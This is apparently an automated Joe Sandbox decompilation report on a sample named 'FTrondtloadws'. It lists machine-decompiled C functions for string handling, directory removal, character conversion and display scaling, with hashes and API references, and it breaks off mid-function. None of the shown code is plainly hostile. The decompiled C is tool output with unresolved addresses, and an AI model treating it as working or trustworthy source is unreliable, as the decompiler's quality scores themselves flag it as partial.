Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 28ceeacbb28aaf1118a1646e95536d6279296a81354e554de0b8a9a1fc5613b1
Instruction ID: 5b16c65a2d58175163afccbd24ed57fdce5ae219dbbd4613ad6c621b11d9990b
Opcode Fuzzy Hash: 28ceeacbb28aaf1118a1646e95536d6279296a81354e554de0b8a9a1fc5613b1
Instruction Fuzzy Hash: AE41AE311483819AE721DAA4DC56FABBBE8AB84300F04091DFAE1932D1D7649E48DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CC10E0 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00CC10E0(intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1114;
				char _v1116;
				void* __edi;
				signed int _t44;
				signed int _t52;
				intOrPtr _t67;
				short* _t80;
				void* _t83;
				char _t84;
				signed int _t85;
				void* _t87;
				signed int _t97;

				_t79 = _a16;
				_t81 =  &_v1116;
				if(_a16 != 0) {
					E00CD1908( &_v1116, _t79, 0x200);
					_t87 =  &_v1114 + E00CE4DF3( &_v1116) * 2;
					E00CD1908(_t87, _t79, 0x200 - (_t87 -  &_v1116 >> 1));
					_t81 = _t87 + E00CE4DF3(_t87) * 2 + 2;
				}
				E00CD1908(_t81, E00CCF917(0xa3), 0x200 - (_t81 -  &_v1116 >> 1));
				_t83 = _t81 + E00CE4DF3(_t81) * 2 + 2;
				E00CD1908(_t83, 0xcf45f0, 0x200 - (_t83 -  &_v1116 >> 1));
				_t44 = E00CE4DF3(_t83);
				 *((short*)(_t83 + 2 + _t44 * 2)) = 0;
				_t84 = 0x58;
				E00CE1000(_t79,  &_v92, 0, _t84);
				_t67 = _a20;
				_t80 = _a12;
				_v88 = _a4;
				_v84 =  *0xd03068;
				_v80 =  &_v1116;
				_v44 = _a8;
				_v92 = _t84;
				_v64 = _t80;
				_v60 = 0x800;
				_v40 = 0x11080c;
				_push( &_v92);
				if(_t67 == 0) {
					_t52 =  *0xd25044();
				} else {
					_t52 =  *0xd2503c();
				}
				_t85 = _t52;
				if(_t85 == 0) {
					_t52 =  *0xd25040();
					if(_t52 == 0x3002) {
						 *_t80 = 0;
						_push( &_v92);
						if(_t67 == 0) {
							_t52 =  *0xd25044();
						} else {
							_t52 =  *0xd2503c();
						}
						_t85 = _t52;
					}
					_t97 = _t85;
				}
				return _t52 & 0xffffff00 | _t97 != 0x00000000;
			}

0x00cc10ec
0x00cc10ef
0x00cc10fc
0x00cc1103
0x00cc1117
0x00cc112d
0x00cc113c
0x00cc113c
0x00cc115c
0x00cc1171
0x00cc1183
0x00cc1189
0x00cc1192
0x00cc119a
0x00cc119e
0x00cc11a9
0x00cc11ac
0x00cc11af
0x00cc11b7
0x00cc11c0
0x00cc11c6
0x00cc11cc
0x00cc11cf
0x00cc11d2
0x00cc11d9
0x00cc11e0
0x00cc11e3
0x00cc11ed
0x00cc11e5
0x00cc11e5
0x00cc11e5
0x00cc11f3
0x00cc11f7
0x00cc11f9
0x00cc1204
0x00cc1208
0x00cc120e
0x00cc1211
0x00cc121b
0x00cc1213
0x00cc1213
0x00cc1213
0x00cc1221
0x00cc1221
0x00cc1223
0x00cc1223
0x00cc122c

APIs

_wcslen.LIBCMT ref: 00CC110B
_wcslen.LIBCMT ref: 00CC1133
_wcslen.LIBCMT ref: 00CC1162
_wcslen.LIBCMT ref: 00CC1189

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 76b1b1c0f4cbff3b69c54979f3d63e60cc714aeb74919c38e36470544a66c714
Instruction ID: 23ac3b5dc8ec603cf9f74931291807e3ebb4de38a2d69e5a9afe740aaceb838c
Opcode Fuzzy Hash: 76b1b1c0f4cbff3b69c54979f3d63e60cc714aeb74919c38e36470544a66c714
Instruction Fuzzy Hash: 1641B171A00669ABCB259F69DD19EEE7BB8EF11311F04002AFD05F7245DA30AE458AE0

Uniqueness

Uniqueness Score: -1.00%

Function 00CC84FF Relevance: 6.1, APIs: 4, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00CC84FF(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v4100;
				char _v4159;
				char _v8268;
				signed short* _t44;
				signed short* _t52;
				signed short* _t54;
				intOrPtr* _t57;
				signed int _t61;
				intOrPtr* _t64;
				signed int _t73;
				signed short* _t74;
				signed int _t75;
				void* _t77;

				E00CDFE20(0x2048);
				if(E00CE4DF3(_a4) >= 0x800) {
					L24:
					__eflags = 0;
					return 0;
				}
				E00CD1908( &_v4100, _a4, 0x800);
				_t73 = E00CE4DF3(_a8);
				if(_t73 != 0) {
					_t61 = E00CE72B8( &_v4100, _a8, _t73);
					asm("sbb eax, eax");
					_t73 = _t73 &  !( ~_t61);
				}
				_t64 = _a12;
				_t75 = 0;
				if(_v4100 == 0) {
					L12:
					_t76 =  &_v4100;
					if(_t73 == 0) {
						L16:
						_t74 = _t77 + E00CE4DF3( &_v4100) * 2 - 0x1002;
						while(_t74 > _t76) {
							_t44 = E00CCD18A( *_t74 & 0x0000ffff);
							__eflags = _t44;
							if(_t44 == 0) {
								L21:
								_t74 = _t74 - 2;
								__eflags = _t74;
								continue;
							}
							 *_t74 = 0;
							E00CC79C5( &_v8268);
							_push(1);
							_t52 = E00CCB946( &_v8268, __eflags,  &_v4100,  &_v8268);
							__eflags = _t52;
							if(_t52 == 0) {
								goto L21;
							}
							__eflags = _v4159;
							if(_v4159 == 0) {
								goto L21;
							}
							_t54 = E00CCB3FF( &_v4100);
							__eflags = _t54;
							if(_t54 == 0) {
								goto L24;
							}
							goto L21;
						}
						E00CC4956(_t64, _a4, E00CE4DF3(_a4));
						return 1;
					}
					_t76 =  &_v4100 + _t73 * 2;
					while(E00CCD18A( *_t76 & 0x0000ffff) != 0) {
						_t76 =  &(_t76[1]);
						__eflags = _t76;
					}
					goto L16;
				} else {
					while(_t75 <  *((intOrPtr*)(_t64 + 0x10))) {
						_t57 = _t64;
						if( *((intOrPtr*)(_t64 + 0x14)) >= 8) {
							_t57 =  *_t64;
						}
						_t72 =  *(_t77 + _t75 * 2 - 0x1000) & 0x0000ffff;
						if(( *(_t77 + _t75 * 2 - 0x1000) & 0x0000ffff) !=  *((intOrPtr*)(_t57 + _t75 * 2))) {
							goto L12;
						} else {
							if(E00CCD18A(_t72) != 0 && _t75 > _t73) {
								_t73 = _t75;
							}
							_t75 = _t75 + 1;
							if( *(_t77 + _t75 * 2 - 0x1000) != 0) {
								continue;
							} else {
								goto L12;
							}
						}
					}
					goto L12;
				}
			}

0x00cc8507
0x00cc851f
0x00cc864c
0x00cc864c
0x00000000
0x00cc864c
0x00cc8530
0x00cc853d
0x00cc8542
0x00cc854f
0x00cc8559
0x00cc855d
0x00cc855d
0x00cc855f
0x00cc8564
0x00cc856d
0x00cc85a9
0x00cc85a9
0x00cc85b1
0x00cc85c8
0x00cc85d5
0x00cc8630
0x00cc85e2
0x00cc85e7
0x00cc85e9
0x00cc862d
0x00cc862d
0x00cc862d
0x00000000
0x00cc862d
0x00cc85f3
0x00cc85f6
0x00cc85fb
0x00cc860b
0x00cc8610
0x00cc8612
0x00000000
0x00000000
0x00cc8614
0x00cc861b
0x00000000
0x00000000
0x00cc8624
0x00cc8629
0x00cc862b
0x00000000
0x00000000
0x00000000
0x00cc862b
0x00cc8643
0x00000000
0x00cc8648
0x00cc85b3
0x00cc85bb
0x00cc85b8
0x00cc85b8
0x00cc85b8
0x00000000
0x00cc856f
0x00cc856f
0x00cc8578
0x00cc857a
0x00cc857c
0x00cc857c
0x00cc857e
0x00cc858a
0x00000000
0x00cc858c
0x00cc8594
0x00cc859a
0x00cc859a
0x00cc859c
0x00cc85a7
0x00000000
0x00000000
0x00000000
0x00000000
0x00cc85a7
0x00cc858a
0x00000000
0x00cc856f

APIs

_wcslen.LIBCMT ref: 00CC8512
_wcslen.LIBCMT ref: 00CC8538
_wcslen.LIBCMT ref: 00CC85CF
_wcslen.LIBCMT ref: 00CC8637

Part of subcall function 00CCB946: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCB971

Part of subcall function 00CCB3FF: RemoveDirectoryW.KERNEL32(?,?,?,00CC8629,?), ref: 00CCB410
Part of subcall function 00CCB3FF: RemoveDirectoryW.KERNEL32(?,?,?,00000800,?,00CC8629,?), ref: 00CCB43E

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$DirectoryRemove$CloseFind
String ID:
API String ID: 973666142-0
Opcode ID: f0ed990832f0db059030ebe384a0343020ec48658f97ee16a0a6c6f05874ee98
Instruction ID: 85cdb0b4e7092c5d7c4978712141953072167b037aa1b47b937915431a4e6ded
Opcode Fuzzy Hash: f0ed990832f0db059030ebe384a0343020ec48658f97ee16a0a6c6f05874ee98
Instruction Fuzzy Hash: 9A31B072900268AADF21AF64CC41FEF3369AF44380F05489EF95997145EFB0DF899B90

Uniqueness

Uniqueness Score: -1.00%

Function 00CED998 Relevance: 6.1, APIs: 4, Instructions: 110
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E00CED998(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t54;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t66;
				short* _t67;
				signed int _t68;
				short* _t69;

				_t65 = __edx;
				_t34 =  *0xd007a8; // 0x763902cb
				_v8 = _t34 ^ _t68;
				E00CE5794(_t55,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0x62e85006
					_t54 =  *_t6;
					_t57 = _t54;
					_a24 = _t54;
				}
				_t66 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E00CE0BCC(_t66, _t55, _v8 ^ _t68, _t65, _t66, _t67);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t67 = 0;
					L11:
					if(_t67 != 0) {
						E00CE1000(_t66, _t67, _t66, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t67, _v12);
						if(_t46 != 0) {
							_t66 = GetStringTypeW(_a8, _t67, _t46, _a20);
						}
					}
					L14:
					E00CEBBD3(_t67);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t67 = E00CEA64E(_t63, _t48 & _t63);
					if(_t67 == 0) {
						goto L14;
					}
					 *_t67 = 0xdddd;
					L9:
					_t67 =  &(_t67[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E00CF3020(_t48 & _t63);
				_t67 = _t69;
				if(_t67 == 0) {
					goto L14;
				}
				 *_t67 = 0xcccc;
				goto L9;
			}

0x00ced998
0x00ced9a0
0x00ced9a7
0x00ced9b3
0x00ced9b8
0x00ced9bd
0x00ced9c2
0x00ced9c2
0x00ced9c5
0x00ced9c7
0x00ced9c7
0x00ced9cc
0x00ced9e5
0x00ced9eb
0x00ced9f0
0x00ceda8f
0x00ceda93
0x00ceda98
0x00ceda98
0x00cedab4
0x00cedab4
0x00ced9f6
0x00ced9fe
0x00ceda02
0x00ceda4e
0x00ceda50
0x00ceda52
0x00ceda57
0x00ceda6e
0x00ceda76
0x00ceda86
0x00ceda86
0x00ceda76
0x00ceda88
0x00ceda89
0x00000000
0x00ceda8e
0x00ceda09
0x00ceda0b
0x00ceda0d
0x00ceda15
0x00ceda32
0x00ceda3c
0x00ceda41
0x00000000
0x00000000
0x00ceda43
0x00ceda49
0x00ceda49
0x00000000
0x00ceda49
0x00ceda19
0x00ceda1d
0x00ceda22
0x00ceda26
0x00000000
0x00000000
0x00ceda28
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,62E85006,00CE5924,00000000,00000000,00CE6959,?,00CE6959,?,00000001,00CE5924,62E85006,00000001,00CE6959,00CE6959), ref: 00CED9E5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00CEDA6E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00CEDA80
__freea.LIBCMT ref: 00CEDA89

Part of subcall function 00CEA64E: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CE53E4,?,0000015D,?,?,?,?,00CE68C0,000000FF,00000000,?,?), ref: 00CEA680

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 30f569d9000772fb90e957b9d1e9c542ba85f53d4830a2ee09f989c701d3cc5d
Instruction ID: 92e8cc8e45965649279120f09a815aec137eae66757f176d5015af921e2e8ba7
Opcode Fuzzy Hash: 30f569d9000772fb90e957b9d1e9c542ba85f53d4830a2ee09f989c701d3cc5d
Instruction Fuzzy Hash: C631B072A0028AABDF249F66DC45EAF7BA5EB40310B154228FC15DA150EB35DE91DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB643 Relevance: 6.0, APIs: 4, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDB643() {
				struct HDC__* _t1;
				struct HDC__* _t5;

				_t1 = GetDC(0);
				_t5 = _t1;
				if(_t5 != 0) {
					 *0xd0a458 = GetDeviceCaps(_t5, 0x58);
					 *0xd0a45c = GetDeviceCaps(_t5, 0x5a);
					return ReleaseDC(0, _t5);
				}
				return _t1;
			}

0x00cdb646
0x00cdb64c
0x00cdb650
0x00cdb65e
0x00cdb66c
0x00000000
0x00cdb671
0x00cdb678

APIs

GetDC.USER32(00000000), ref: 00CDB646
GetDeviceCaps.GDI32(00000000,00000058), ref: 00CDB655
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00CDB663
ReleaseDC.USER32(00000000,00000000), ref: 00CDB671

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 0f8746e344d850c6aa6f9d083f87a99259573b859fd8a8e75b99d4bb1b258bb6
Instruction ID: a76f0f8f52a9eee3df46b371af9429f38428772c0e1c51a4656930d629ea6546
Opcode Fuzzy Hash: 0f8746e344d850c6aa6f9d083f87a99259573b859fd8a8e75b99d4bb1b258bb6
Instruction Fuzzy Hash: C8E0EC35941B61E7D2301B74BD0DF8A3B54AB15712F014001F609DA394DAB484068BF1

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB7EC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00CDB7EC(void* __edx, long long __fp0, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				void _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v84;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				void* _v112;
				char _v116;
				char _v120;
				short _v122;
				short _v124;
				signed int _v128;
				intOrPtr _v132;
				signed int _v136;
				char _v140;
				intOrPtr* _v144;
				char _v156;
				intOrPtr* _v164;
				intOrPtr* _v168;
				intOrPtr _v176;
				char _v180;
				char _v184;
				intOrPtr* _v196;
				intOrPtr _v212;
				signed int _v216;
				signed int _v220;
				void* _v224;
				char _v228;
				intOrPtr _v232;
				intOrPtr* _v236;
				intOrPtr* _v244;
				void* _v256;
				void* _v260;
				intOrPtr* _v268;
				intOrPtr* _t94;
				void* _t96;
				intOrPtr* _t97;
				signed int _t100;
				intOrPtr* _t103;
				intOrPtr* _t106;
				short _t114;
				intOrPtr _t117;
				intOrPtr* _t118;
				intOrPtr* _t121;
				intOrPtr* _t124;
				intOrPtr* _t130;
				signed int _t133;
				intOrPtr* _t139;
				intOrPtr* _t143;
				void* _t148;
				signed int _t150;
				intOrPtr* _t156;
				intOrPtr* _t166;
				intOrPtr* _t169;
				char _t180;
				void* _t182;
				intOrPtr* _t186;
				signed int _t198;
				long long* _t202;
				long long _t204;

				_t204 = __fp0;
				_t202 =  &_v112;
				if(E00CDB679() != 0) {
					_t148 = _a4;
					GetObjectW(_t148, 0x18,  &_v68);
					_t150 = _v4;
					asm("cdq");
					_t198 = _v72 * _t150 / _v76;
					if(_t198 >= _v0) {
						_t198 = _v0;
					}
					if(_t150 != _v76 || _t198 != _v72) {
						_t180 = 0;
						_push( &_v124);
						_push(0xcf57ec);
						_push(1);
						_push(0);
						_push(0xcf65dc);
						if( *0xd25188() >= 0) {
							_t94 = _v144;
							 *0xcf4278(_t94, _t148, 0, 2,  &_v140, _t182);
							_t96 =  *((intOrPtr*)( *_t94 + 0x54))();
							_t97 = _v164;
							if(_t96 < 0) {
								L15:
								 *0xcf4278(_t97);
								 *((intOrPtr*)( *((intOrPtr*)( *_t97 + 8))))();
								L22:
								_t100 =  *0xd250e4(_t148, _t180, _t180, _t180, _t180);
								L23:
								goto L24;
							}
							_v156 = 0;
							_t186 =  *((intOrPtr*)( *_t97 + 0x28));
							_t156 = _t186;
							 *0xcf4278(_t97,  &_v156);
							if( *_t186() < 0) {
								L14:
								_t103 = _v168;
								 *0xcf4278(_t103);
								 *((intOrPtr*)( *((intOrPtr*)( *_t103 + 8))))();
								_t97 = _v176;
								goto L15;
							}
							_t106 = _v164;
							asm("fldz");
							 *_t202 = _t204;
							 *0xcf4278(_t106, _v168, 0xcf65ec, 0, 0, _t156, _t156, 0);
							if( *((intOrPtr*)( *_t106 + 0x20))() >= 0) {
								_v132 = _v84;
								_v116 = 0;
								_v128 =  ~_t198;
								_v112 = 0;
								_v124 = 1;
								_t114 = 0x20;
								_v122 = _t114;
								_v108 = 0;
								_v104 = 0;
								_v100 = 0;
								_v96 = 0;
								_v136 = 0x28;
								_v120 = 0;
								_v184 = 0;
								_t117 =  *0xd25058(0,  &_v136, 0,  &_v180, 0, 0);
								_v212 = _t117;
								if(_t117 != 0) {
									_t166 = _v228;
									 *0xcf4278(_t166,  &_v216);
									 *((intOrPtr*)( *((intOrPtr*)( *_t166 + 0x2c))))();
									_t130 = _v224;
									 *0xcf4278(_t130, _v232, _v116, _t198, 3);
									 *((intOrPtr*)( *_t130 + 0x20))();
									_t133 = _v136;
									_t169 = _v244;
									_v216 = _t198;
									_v220 = _t133;
									_v228 = 0;
									_v224 = 0;
									 *0xcf4278(_t169,  &_v228, _t133 << 2, _t198 * _t133 << 2, _v232);
									if( *((intOrPtr*)( *_t169 + 0x1c))() < 0) {
										DeleteObject(_v260);
									} else {
										_v256 = _v260;
									}
									_t139 = _v268;
									 *0xcf4278(_t139);
									 *((intOrPtr*)( *((intOrPtr*)( *_t139 + 8))))();
								}
								_t118 = _v224;
								 *0xcf4278(_t118);
								 *((intOrPtr*)( *((intOrPtr*)( *_t118 + 8))))();
								_t121 = _v224;
								 *0xcf4278(_t121);
								 *((intOrPtr*)( *((intOrPtr*)( *_t121 + 8))))();
								_t124 = _v236;
								 *0xcf4278(_t124);
								 *((intOrPtr*)( *((intOrPtr*)( *_t124 + 8))))();
								_t100 = _v220;
								if(_t100 != 0) {
									goto L23;
								} else {
									goto L22;
								}
							}
							_t143 = _v196;
							 *0xcf4278(_t143);
							 *((intOrPtr*)( *((intOrPtr*)( *_t143 + 8))))();
							goto L14;
						}
						_push(0);
						goto L9;
					} else {
						_push(0x2000);
						_t180 = 0;
						L9:
						_t100 =  *0xd250e4(_t148, _t180, _t180, _t180);
						L24:
						return _t100;
					}
				}
				_push(_a12);
				_push(_a8);
				_push(_a4);
				return E00CDBAAE();
			}

0x00cdb7ec
0x00cdb7ec
0x00cdb7f6
0x00cdb80f
0x00cdb81c
0x00cdb826
0x00cdb830
0x00cdb835
0x00cdb83e
0x00cdb840
0x00cdb840
0x00cdb84c
0x00cdb861
0x00cdb863
0x00cdb864
0x00cdb86c
0x00cdb86d
0x00cdb86e
0x00cdb87b
0x00cdb88d
0x00cdb8a1
0x00cdb8a7
0x00cdb8ac
0x00cdb8b0
0x00cdb925
0x00cdb92d
0x00cdb933
0x00cdba99
0x00cdba9e
0x00cdbaa4
0x00000000
0x00cdbaa4
0x00cdb8b2
0x00cdb8be
0x00cdb8c1
0x00cdb8c3
0x00cdb8cd
0x00cdb90d
0x00cdb90d
0x00cdb919
0x00cdb91f
0x00cdb921
0x00000000
0x00cdb921
0x00cdb8cf
0x00cdb8d3
0x00cdb8da
0x00cdb8ec
0x00cdb8f7
0x00cdb941
0x00cdb949
0x00cdb94d
0x00cdb956
0x00cdb95a
0x00cdb95f
0x00cdb962
0x00cdb971
0x00cdb97a
0x00cdb981
0x00cdb988
0x00cdb98f
0x00cdb997
0x00cdb99b
0x00cdb99f
0x00cdb9a5
0x00cdb9ab
0x00cdb9b1
0x00cdb9c2
0x00cdb9c8
0x00cdb9ca
0x00cdb9e2
0x00cdb9e8
0x00cdb9eb
0x00cdb9f6
0x00cdb9fa
0x00cdba01
0x00cdba08
0x00cdba0c
0x00cdba20
0x00cdba2b
0x00cdba3b
0x00cdba2d
0x00cdba31
0x00cdba31
0x00cdba41
0x00cdba4d
0x00cdba53
0x00cdba53
0x00cdba55
0x00cdba61
0x00cdba67
0x00cdba69
0x00cdba75
0x00cdba7b
0x00cdba7d
0x00cdba89
0x00cdba8f
0x00cdba91
0x00cdba97
0x00000000
0x00000000
0x00000000
0x00000000
0x00cdba97
0x00cdb8f9
0x00cdb905
0x00cdb90b
0x00000000
0x00cdb90b
0x00cdb87d
0x00000000
0x00cdb854
0x00cdb854
0x00cdb859
0x00cdb87e
0x00cdb882
0x00cdbaa5
0x00000000
0x00cdbaa7
0x00cdb84c
0x00cdb7f8
0x00cdb7fc
0x00cdb800
0x00000000

APIs

Part of subcall function 00CDB679: GetDC.USER32(00000000), ref: 00CDB67D
Part of subcall function 00CDB679: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00CDB688
Part of subcall function 00CDB679: ReleaseDC.USER32(00000000,00000000), ref: 00CDB693

GetObjectW.GDI32(?,00000018,?), ref: 00CDB81C

Part of subcall function 00CDBAAE: GetDC.USER32(00000000), ref: 00CDBAB7
Part of subcall function 00CDBAAE: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,?,?,00CDB809,?,?,?), ref: 00CDBAE6
Part of subcall function 00CDBAAE: ReleaseDC.USER32(00000000,?), ref: 00CDBB7E

Strings

(, xrefs: 00CDB98F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 4a307e09a86c5825c527a10aaa28acc2883cbcbf5879bb210f7ffd3bc9066a35
Instruction ID: 97afbf862f796d34deb7262ab574ee456f1e3c6d75f73770b481967314e8811f
Opcode Fuzzy Hash: 4a307e09a86c5825c527a10aaa28acc2883cbcbf5879bb210f7ffd3bc9066a35
Instruction Fuzzy Hash: B491E271608354AFD624DF25D848E2BBBE8FFC8700F01491EF69AD7260CB30A845DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CEC1C8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00CEC1C8(signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				CHAR* _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				struct _WIN32_FIND_DATAA _v336;
				union _FINDEX_INFO_LEVELS _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				union _FINDEX_INFO_LEVELS _t123;
				signed int _t128;
				signed int _t131;
				void* _t136;
				void* _t138;
				signed int _t139;
				signed int _t142;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t150;
				void* _t153;
				CHAR* _t154;
				void* _t155;
				char _t157;
				char _t159;
				intOrPtr* _t162;
				void* _t163;
				intOrPtr* _t164;
				signed int _t166;
				void* _t168;
				intOrPtr* _t169;
				signed int _t173;
				signed int _t177;
				signed int _t178;
				intOrPtr* _t183;
				void* _t192;
				signed int _t194;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t200;
				union _FINDEX_INFO_LEVELS _t201;
				void* _t202;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				void* _t211;
				intOrPtr _t212;
				void* _t213;
				void* _t214;
				signed int _t217;
				void* _t219;
				signed int _t220;
				void* _t221;
